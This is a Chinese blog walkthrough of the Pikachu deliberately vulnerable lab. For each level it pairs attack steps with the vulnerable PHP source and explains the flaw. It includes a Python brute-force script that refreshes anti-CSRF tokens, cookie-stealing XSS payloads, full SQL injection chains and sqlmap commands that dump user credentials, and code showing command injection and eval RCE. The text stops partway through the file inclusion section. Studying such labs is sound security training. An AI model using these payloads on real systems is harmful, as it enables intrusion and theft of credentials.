分享

Pikachu靶机通关和源码分析

 zZ华 2022-08-27 发布于广东

提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、暴力破解关

1,基于表单的暴力破解

2,基于验证码绕过的爆破(on server)

3,验证码绕过(on client)

四、Token防爆破?

二、Cross-Site-Scripting

1,反射型(get)

2,反射型(POST)

3,存储型

4,DOM型

5,DOM-X型

6,XSS盲打

7,XSS之过滤

8、XSS之htmlspecialchars

9,XSS之href输出

10、XSS之js输出

三、SQL

1,数字型注入(post)

2,字符型(get)

3, 搜索型注入

4,XX型注入

5、insert/update型

         6、delete注入

7、HTTP header注入

         8,boolian盲注

         9,时间盲注

10、宽字节注入

四、RCE

1,exec  'ping'

2、RCE EVAL

五、File Inclusion

1,本地文件包含

2、远程文件包含

 六、unsafedownload

七、 文件上传

1,client check

2,MIME-type

 3,getimagesize

 八、越权

1,水平越权

 2,水平越权

九、目录遍历 

十、敏感信息泄露

十一、PHP反序列化

 十一、XXE

 十二、URL重定向

十三、 SSRF(服务端请求伪造)

1、curl

2,file_get_content

总结、


前言

Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。


提示:以下是本篇文章正文内容,下面案例可供参考

一、暴力破解关

1,基于表单的暴力破解

 没什么好说的,直接burpsuite的intruder模块进行字典爆破。

爆出账号为admin,密码是123456 

源码

  1. if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
  2. $username = $_POST['username'];
  3. $password = $_POST['password'];
  4. $sql = 'select * from users where username=? and password=md5(?)';
  5. $line_pre = $link->prepare($sql);
  6. $line_pre->bind_param('ss',$username,$password);
  7. if($line_pre->execute()){
  8. $line_pre->store_result();
  9. if($line_pre->num_rows>0){
  10. $html.= '<p> login success</p>';
  11. } else{
  12. $html.= '<p> username or password is not exists~</p>';
  13. }
  14. } else{
  15. $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
  16. }
  17. }
  18. 提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。

2,基于验证码绕过的爆破(on server)

 

 用同一个验证码,进行爆破试试。

验证码一直有效,爆破出密码依旧为admin,123456。

源码:

  1. if(isset($_POST['submit'])) {
  2. if (empty($_POST['username'])) {
  3. $html .= '<p class='notice'>用户名不能为空</p>';
  4. } else {
  5. if (empty($_POST['password'])) {
  6. $html .= '<p class='notice'>密码不能为空</p>';
  7. } else {
  8. if (empty($_POST['vcode'])) {
  9. $html .= '<p class='notice'>验证码不能为空哦!</p>';
  10. } else {
  11. if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
  12. $html .= '<p class='notice'>验证码输入错误哦!</p>';
  13. }else{
  14. $username = $_POST['username'];
  15. $password = $_POST['password'];
  16. $vcode = $_POST['vcode'];
  17. $sql = 'select * from users where username=? and password=md5(?)';
  18. $line_pre = $link->prepare($sql);
  19. $line_pre->bind_param('ss',$username,$password);
  20. if($line_pre->execute()){
  21. $line_pre->store_result();
  22. if($line_pre->num_rows()==1){
  23. $html.='<p> login success</p>';
  24. }else{
  25. $html.= '<p> username or password is not exists~</p>';
  26. }
  27. }else{
  28. $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
  29. }
  30. }
  31. }
  32. }
  33. }
  34. }

增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。

3,验证码绕过(on client)

 源代码:
 

  1. if(isset($_POST['submit'])){
  2. if($_POST['username'] && $_POST['password']) {
  3. $username = $_POST['username'];
  4. $password = $_POST['password'];
  5. $sql = 'select * from users where username=? and password=md5(?)';
  6. $line_pre = $link->prepare($sql);
  7. $line_pre->bind_param('ss', $username, $password);
  8. if ($line_pre->execute()) {
  9. $line_pre->store_result();
  10. if ($line_pre->num_rows > 0) {
  11. $html .= '<p> login success</p>';
  12. } else {
  13. $html .= '<p> username or password is not exists~</p>';
  14. }
  15. } else {
  16. $html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
  17. }
  18. }else{
  19. $html .= '<p> please input username and password~</p>';
  20. }
  21. }

前端:

  1. var code; //在全局 定义验证码
  2. function createCode() {
  3. code = '';
  4. var codeLength = 5;//验证码的长度
  5. var checkCode = document.getElementById('checkCode');
  6. var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
  7. for (var i = 0; i < codeLength; i++) {
  8. var charIndex = Math.floor(Math.random() * 36);
  9. code += selectChar[charIndex];
  10. }
  11. //alert(code);
  12. if (checkCode) {
  13. checkCode.className = 'code';
  14. checkCode.value = code;
  15. }
  16. }
  17. function validate() {
  18. var inputCode = document.querySelector('#bf_client .vcode').value;
  19. if (inputCode.length <= 0) {
  20. alert('请输入验证码!');
  21. return false;
  22. } else if (inputCode != code) {
  23. alert('验证码输入错误!');
  24. createCode();//刷新验证码
  25. return false;
  26. }
  27. else {
  28. return true;
  29. }
  30. }
  31. createCode();

后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。

四、Token防爆破?

存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。

页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。

  1. import requests
  2. from bs4 import BeautifulSoup
  3. s = requests.session()
  4. password = []
  5. f = open('password.txt', encoding='utf-8')
  6. while 1:
  7. num = f.readline().rstrip()
  8. password.append(num)
  9. if not num:
  10. break
  11. header = {
  12. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
  13. 'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'
  14. }
  15. req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php')
  16. # print(req.text)
  17. token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
  18. for pa in password:
  19. req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php',
  20. data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})
  21. if 'success' in req.text:
  22. print('爆破成功,用户名:admin,密码为:%s' % pa)
  23. break
  24. else:
  25. req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php')
  26. token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')

源码分析:

  1. if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){
  2. $username = $_POST['username'];
  3. $password = $_POST['password'];
  4. $token = $_POST['token'];
  5. $sql = 'select * from users where username=? and password=md5(?)';
  6. $line_pre = $link->prepare($sql);
  7. $line_pre->bind_param('ss',$username,$password);
  8. if($token == $_SESSION['token']){
  9. if($line_pre->execute()){
  10. $line_pre->store_result();
  11. if($line_pre->num_rows>0){
  12. $html.= '<p> login success</p>';
  13. } else{
  14. $html.= '<p> username or password is not exists~</p>';
  15. }
  16. }else{
  17. $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
  18. }
  19. }else{
  20. $html.= '<p> csrf token error</p>';
  21. }
  22. }
  23. set_token();
  24. HTML:
  25. <input type='hidden' name='token' value='<?php echo $_SESSION['token'];?>' />

 通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。

二、Cross-Site-Scripting

1,反射型(get)

前端设置了字符串的长度限制,直接去掉就好。

<img src='https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png' οnmοuseοver='alert('Aiwin')'/> 

源码分析:

  1. $html='';
  2. if(isset($_GET['submit'])){
  3. if(empty($_GET['message'])){
  4. $html.='<p class='notice'>输入'kobe'试试-_-</p>';
  5. }else{
  6. if($_GET['message']=='kobe'){
  7. $html.='<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />';
  8. }else{
  9. $html.='<p class='notice'>who is {$_GET['message']},i don't care!</p>';
  10. }
  11. }
  12. }
  13. ?>

扫描过滤都没有,直接message=<img src='https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png' οnmοuseοver='console.log(document.cookie)'/>等都能取出cookie

2,反射型(POST)

这里有post登录页,应该要先登录,使用admin/123456登录。

 

使用上面相同的payload即可。

源码分析:
        

  1. 登录:
  2. if(isset($_POST['submit'])){
  3. if($_POST['username']!=null && $_POST['password']!=null){
  4. $username=escape($link, $_POST['username']);
  5. $password=escape($link, $_POST['password']);
  6. $query='select * from users where username='$username' and password=md5('$password')';
  7. $result=execute($link, $query);
  8. if(mysqli_num_rows($result)==1){
  9. $data=mysqli_fetch_assoc($result);
  10. //登录时,生成cookie,1个小时有效期,供其他页面判断
  11. setcookie('ant[uname]',$_POST['username'],time()+3600);
  12. setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);
  13. header('location:xss_reflected_post.php');
  14. // echo ''<script>windows.location.href='xss_reflected_post.php'</script>';
  15. }else{
  16. $html ='<p>username or password error!</p>';
  17. }
  18. }else{
  19. $html ='<p>please input username and password!</p>';
  20. }
  21. }
  22. 登录后:
  23. if(isset($_POST['submit'])){
  24. if(empty($_POST['message'])){
  25. $html.='<p class='notice'>输入'kobe'试试-_-</p>';
  26. }else{
  27. //下面直接将前端输入的参数原封不动的输出了,出现xss
  28. if($_POST['message']=='kobe'){
  29. $html.='<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />';
  30. }else{
  31. $html.='<p class='notice'>who is {$_POST['message']},i don't care!</p>';
  32. }
  33. }
  34. }
  35. if(isset($_GET['logout']) && $_GET['logout'] == '1'){
  36. setcookie('ant[uname]','');
  37. setcookie('ant[pw]','');
  38. header('location:post_login.php');
  39. }
  40. function escape($link,$data){
  41. if(is_string($data)){
  42. return mysqli_real_escape_string($link,$data);
  43. }
  44. if(is_array($data)){
  45. foreach ($data as $key=>$val){
  46. $data[$key]=escape($link,$val);
  47. }
  48. }
  49. return $data;
  50. }

 登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。

3,存储型

<img src='' οnerrοr='alert(document.cookie)'/> 

源码分析:

  1. $link=connect();
  2. $html='';
  3. if(array_key_exists('message',$_POST) && $_POST['message']!=null){
  4. $message=escape($link, $_POST['message']);
  5. $query='insert into message(content,time) values('$message',now())';
  6. $result=execute($link, $query);
  7. if(mysqli_affected_rows($link)!=1){
  8. $html.='<p>数据库出现异常,提交失败!</p>';
  9. }
  10. }
  11. if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
  12. $query='delete from message where id={$_GET['id']}';
  13. $result=execute($link, $query);
  14. if(mysqli_affected_rows($link)==1){
  15. echo '<script type='text/javascript'>document.location.href='xss_stored.php'</script>';
  16. }else{
  17. $html.='<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>';
  18. }
  19. }

对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。

4,DOM型

输入的信息text会从前端通过javascript生成<a href='text'>what do you see </a>

'><img src='#' οnmοuseοver='alert('Aiwin')'/> 先将生成的<a href闭合掉即可。

源码:

  1. <script>
  2. function domxss(){
  3. var str = document.getElementById('text').value;
  4. document.getElementById('dom').innerHTML = '<a href=''+str+''>what do you see?</a>';
  5. }
  6. </script>
  7. <!--<a href='' onclick=('xss')>-->
  8. <input id='text' name='text' type='text' value='' />
  9. <input id='button' type='button' value='click me!' onclick='domxss()' />
  10. <div id='dom'></div>

5,DOM-X型

输入的信息text会出现在URL中

 'οnclick='alert(document.cookie)'>

 源码:

  1. if(isset($_GET['text'])){
  2. $html.= '<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>';
  3. }
  4. function domxss(){
  5. var str = window.location.search;
  6. var txss = decodeURIComponent(str.split('text=')[1]);
  7. var xss = txss.replace(/\+/g,' ');
  8. document.getElementById('dom').innerHTML = '<a href=''+xss+''>就让往事都随风,都随风吧</a>';
  9. }
  10. </script>
  11. <form method='get'>
  12. <input id='text' name='text' type='text' value='' />
  13. <input id='submit' type='submit' value='请说出你的伤心往事'/>
  14. </form>
  15. <?php echo $html;?>

通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。

6,XSS盲打

两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。 

源码:

  1. 后:
  2. <?php
  3. $query='select * from xssblind';
  4. $result=mysqli_query($link, $query);
  5. while($data=mysqli_fetch_assoc($result)){
  6. $html=<<<A
  7. <tr>
  8. <td>{$data['id']}</td>
  9. <td>{$data['time']}</td>
  10. <td>{$data['content']}</td>
  11. <td>{$data['name']}</td>
  12. <td><a href='admin.php?id={$data['id']}'>删除</a></td>
  13. </tr>
  14. A;
  15. echo $html;
  16. }
  17. ?>
  18. 前:
  19. $link=connect();
  20. $html='';
  21. if(array_key_exists('content',$_POST) && $_POST['content']!=null){
  22. $content=escape($link, $_POST['content']);
  23. $name=escape($link, $_POST['name']);
  24. $time=$time=date('Y-m-d g:i:s');
  25. $query='insert into xssblind(time,content,name) values('$time','$content','$name')';
  26. $result=execute($link, $query);
  27. if(mysqli_affected_rows($link)==1){
  28. $html.='<p>谢谢参与,阁下的看法我们已经收到!</p>';
  29. }else {
  30. $html.='<p>ooo.提交出现异常,请重新提交</p>';
  31. }
  32. }

 输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。

7,XSS之过滤

随便尝试一下,script好像被过滤掉了。

<img src='x' οnerrοr='alert(document.cookie)'/>

源码:

  1. if(isset($_GET['submit']) && $_GET['message'] != null){
  2. //这里会使用正则对<script进行替换为空,也就是过滤掉
  3. $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
  4. // $message=str_ireplace('<script>',$_GET['message']);
  5. if($message == 'yes'){
  6. $html.='<p>那就去人民广场一个人坐一会儿吧!</p>';
  7. }else{
  8. $html.='<p>别说这些'{$message}'的话,不要怕,就是干!</p>';
  9. }
  10. }
  11. ?>

将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。

8、XSS之htmlspecialchars

 Htmlspecialchars将&->&,'->',<变成<,>变成>,唯一的缺陷就是默认不对单引号过滤。

 ' οnclick='alert(document.cookie)' 

源码:

  1. if(isset($_GET['submit'])){
  2. if(empty($_GET['message'])){
  3. $html.='<p class='notice'>输入点啥吧!</p>';
  4. }else {
  5. $message=htmlspecialchars($_GET['message']);
  6. $html1.='<p class='notice'>你的输入已经被记录:</p>';
  7. $html2.='<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>';
  8. $html2.='<a href='{$message}'>{$message}</a>';
  9. }
  10. }
  11. ?>

使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。

9,XSS之href输出

由于在<a href=''>标签里,直接使用javascript:alert(1) 

源码:

  1. if(isset($_GET['submit'])){
  2. if(empty($_GET['message'])){
  3. $html.='<p class='notice'>叫你输入个url,你咋不听?</p>';
  4. }
  5. if($_GET['message'] == 'www.baidu.com'){
  6. $html.='<p class='notice'>我靠,我真想不到你是这样的一个人</p>';
  7. }else {
  8. $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
  9. $html.='<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>';
  10. }
  11. }
  12. ?>

输入的message进行了htmlspecialchars,然后输出在<a href=''>里面,利用javascript完美绕过。

10、XSS之js输出

好像输入被动态生成在了javascript里

';alert(document.cookie);//     '闭合前面引号,//将后面注释掉 

三、SQL

1,数字型注入(post)

  1. 1 order by 2 爆出两个字段
  2. -1 union select (database()),2 爆出数据库 pikachu
  3. -1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind
  4. -1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
  5. -1 union select (select group_concat(username,'~',password) from pikachu.users),2 爆出账号 密码

 源码:

  1. if(isset($_POST['submit']) && $_POST['id']!=null){
  2. $id=$_POST['id'];
  3. $query='select username,email from member where id=$id';
  4. $result=execute($link, $query);
  5. if(mysqli_num_rows($result)>=1){
  6. while($data=mysqli_fetch_assoc($result)){
  7. $username=$data['username'];
  8. $email=$data['email'];
  9. $html.='<p class='notice'>hello,{$username} <br />your email is: {$email}</p>';
  10. }
  11. }else{
  12. $html.='<p class='notice'>您输入的user id不存在,请重新输入!</p>';
  13. }
  14. }
  15. ?>

 用户可控输出直接拼接到了select查询。

2,字符型(get)

  1. allen' order by 2 # 爆出两个字段
  2. allen' union select (database()),2# 爆出数据库 pikachu
  3. allen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
  4. allen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2# 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
  5. allen' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码

源码:

  1. if(isset($_GET['submit']) && $_GET['name']!=null){
  2. $name=$_GET['name'];
  3. $query='select id,email from member where username='$name'';
  4. $result=execute($link, $query);
  5. if(mysqli_num_rows($result)>=1){
  6. while($data=mysqli_fetch_assoc($result)){
  7. $id=$data['id'];
  8. $email=$data['email'];
  9. $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>';
  10. }
  11. }else{
  12. $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
  13. }
  14. }

查询的是username字符型,闭合直接拼接到了select。

3, 搜索型注入

  1. a%' union select 1,(select database()),3# 爆出数据库
  2. a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblind
  3. a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
  4. a%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 # 爆出账号 密码

 源码:

  1. if(isset($_GET['submit']) && $_GET['name']!=null){
  2. $name=$_GET['name'];
  3. //这里的变量是模糊匹配,需要考虑闭合
  4. $query='select username,id,email from member where username like '%$name%'';
  5. $result=execute($link, $query);
  6. if(mysqli_num_rows($result)>=1){
  7. $html2.='<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />';
  8. while($data=mysqli_fetch_assoc($result)){
  9. $uname=$data['username'];
  10. $id=$data['id'];
  11. $email=$data['email'];
  12. $html1.='<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>';
  13. }
  14. }else{
  15. $html1.='<p class='notice'>0o。..没有搜索到你输入的信息!</p>';
  16. }
  17. }

使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。

4,XX型注入

  1. a') union select 1,(select database())# 爆出数据库
  2. a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
  3. a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
  4. a') union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码

源码:

  1. if(isset($_GET['submit']) && $_GET['name']!=null){
  2. //这里没有做任何处理,直接拼到select里面去了
  3. $name=$_GET['name'];
  4. //这里的变量是字符型,需要考虑闭合
  5. $query='select id,email from member where username=('$name')';
  6. $result=execute($link, $query);
  7. if(mysqli_num_rows($result)>=1){
  8. while($data=mysqli_fetch_assoc($result)){
  9. $id=$data['id'];
  10. $email=$data['email'];
  11. $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>';
  12. }
  13. }else{
  14. $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
  15. }
  16. }

闭合单引号和括号,直接拼接到select语句查询。

5、insert/update型

注册的username处进行报错注入

  1. ' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
  2. ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
  3. 爆表名
  4. ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
  5. 爆列名
  6. ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
  7. 爆数据

源码:

  1. if(isset($_POST['submit'])){
  2. if($_POST['username']!=null &&$_POST['password']!=null){
  3. $getdata=$_POST;
  4. $query='insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')';
  5. $result=execute($link, $query);
  6. if(mysqli_affected_rows($link)==1){
  7. $html.='<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>';
  8. }else {
  9. $html.='<p>注册失败,请检查下数据库是否还活着</p>';
  10. }
  11. }else{
  12. $html.='<p>必填项不能为空哦</p>';
  13. }
  14. }
  15. ?>

对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。

6、delete注入

  1. 56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库
  2. 56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
  3. 爆表名
  4. 56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)
  5. 爆列名
  6. 56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)
  7. 爆数据

源码:

  1. if(array_key_exists('message',$_POST) && $_POST['message']!=null){
  2. $message=escape($link, $_POST['message']);
  3. $query='insert into message(content,time) values('$message',now())';
  4. $result=execute($link, $query);
  5. if(mysqli_affected_rows($link)!=1){
  6. $html.='<p>出现异常,提交失败!</p>';
  7. }
  8. }
  9. // if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
  10. if(array_key_exists('id', $_GET)){
  11. $query='delete from message where id={$_GET['id']}';
  12. $result=execute($link, $query);
  13. if(mysqli_affected_rows($link)==1){
  14. header('location:sqli_del.php');
  15. }else{
  16. $html.='<p style='color: red'>删除失败,检查下数据库是不是挂了</p>';
  17. }
  18. }
  19. ?>

删除数据时,直接拼接了传入的id的值,删除时能进行sql注入

7、HTTP header注入

提示中有登录,进行登录

  1. User-Agent进行注入:
  2. ' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
  3. ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
  4. 爆表名
  5. ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
  6. 爆列名
  7. ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
  8. 爆数据

源码:

  1. $remoteipadd=$_SERVER['REMOTE_ADDR'];
  2. $useragent=$_SERVER['HTTP_USER_AGENT'];
  3. $httpaccept=$_SERVER['HTTP_ACCEPT'];
  4. $remoteport=$_SERVER['REMOTE_PORT'];
  5. $query='insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')';
  6. $result=execute($link, $query);
  7. if(isset($_GET['logout']) && $_GET['logout'] == 1){
  8. setcookie('ant[uname]','',time()-3600);
  9. setcookie('ant[pw]','',time()-3600);
  10. header('location:sqli_header_login.php');
  11. }
  12. ?>

直接获取了前端传入的header头信息并未经过处理插入数据库。

8,boolian盲注

  1. allen' and ascii(substr(database(),1,1))>0 # 爆数据库
  2. allen' and ascii(substr(database(),2,1))>0 # 爆数据库 等
  3. allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第一个字母
  4. allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第二个字母
  5. 以此类推,直接sqlmap跑一下
  6. python sqlmap.py -u 'http://2bf71a0cc5d14b159242fefca518c030.app./vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2' --tables -D 'pikachu' -cookie='PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe';
  7. python sqlmap.py -u 'http://2bf71a0cc5d14b159242fefca518c030.app./vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2' --columns -T 'users' -D 'pikachu' -cookie='PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe';

源码:

  1. if(isset($_GET['submit']) && $_GET['name']!=null){
  2. $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
  3. $query='select id,email from member where username='$name'';//这里的变量是字符型,需要考虑闭合
  4. $result=mysqli_query($link, $query);//
  5. // $result=execute($link, $query);
  6. if($result && mysqli_num_rows($result)==1){
  7. while($data=mysqli_fetch_assoc($result)){
  8. $id=$data['id'];
  9. $email=$data['email'];
  10. $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>';
  11. }
  12. }else{
  13. $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
  14. }
  15. }
  16. ?>

打印结果输出的被注释掉了

9,时间盲注

  1. allen' and if(ascii(substr(database(),1,1))>0,sleep(3),1)# 爆数据库
  2. allen' and if(ascii(substr(database(),2,1))>0,sleep(3),1)# 以此类推
  3. allen' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,slepp(3),1)# 爆第一个表名第一个字母
  4. 以此类推
  5. sqlmap跑一下。

源码:

  1. if(isset($_GET['submit']) && $_GET['name']!=null){
  2. $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
  3. $query='select id,email from member where username='$name'';//这里的变量是字符型,需要考虑闭合
  4. $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
  5. // $result=execute($link, $query);
  6. // $html.='<p class='notice'>i don't care who you are!</p>';
  7. if($result && mysqli_num_rows($result)==1){
  8. while($data=mysqli_fetch_assoc($result)){
  9. $id=$data['id'];
  10. $email=$data['email'];
  11. $html.='<p class='notice'>i don't care who you are!</p>';
  12. }
  13. }else{
  14. $html.='<p class='notice'>i don't care who you are!</p>';
  15. }
  16. }

无论输出啥,输出都一样,只能使用时间盲注。

10、宽字节注入

  1. kobe%df' union select 1,database()# 爆数据库名
  2. kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
  3. kobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
  4. kobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码

源码:

  1. if(isset($_POST['submit']) && $_POST['name']!=null){
  2. $name = escape($link,$_POST['name']);
  3. $query='select id,email from member where username='$name'';
  4. $set = 'set character_set_client=gbk';
  5. execute($link,$set);
  6. //mysqi_query不打印错误描述
  7. $result=mysqli_query($link, $query);
  8. if(mysqli_num_rows($result) >= 1){
  9. while ($data=mysqli_fetch_assoc($result)){
  10. $id=$data['id'];
  11. $email=$data['email'];
  12. $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>';
  13. }
  14. }else{
  15. $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
  16. }
  17. }
  18. ?>

虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\

四、RCE

1,exec  'ping'

源码分析:

  1. $result='';
  2. if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
  3. $ip=$_POST['ipaddress'];
  4. if(stristr(php_uname('s'), 'windows')){ //判断系统类型
  5. $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
  6. }else {
  7. $result.=shell_exec('ping -c 4 '.$ip);
  8. }
  9. }
  10. ?>

 输入的ipaddress变量未经过过滤,直接进行了命令执行。

2、RCE EVAL

源码:

  1. $html='';
  2. if(isset($_POST['submit']) && $_POST['txt'] != null){
  3. if(@!eval($_POST['txt'])){
  4. $html.='<p>你喜欢的字符还挺奇怪的!</p>';
  5. }
  6. }
  7. ?>

 直接将用户的输入当成了PHP代码执行,很危险。

五、File Inclusion

1,本地文件包含

  1. $html='';
  2. if(isset($_GET['submit']) && $_GET['filename']!=null){
  3. $filename=$_GET['filename'];
  4. include 'include/$filename';//变量传进来直接包含,没做任何的安全限制
  5. }
  6. ?>

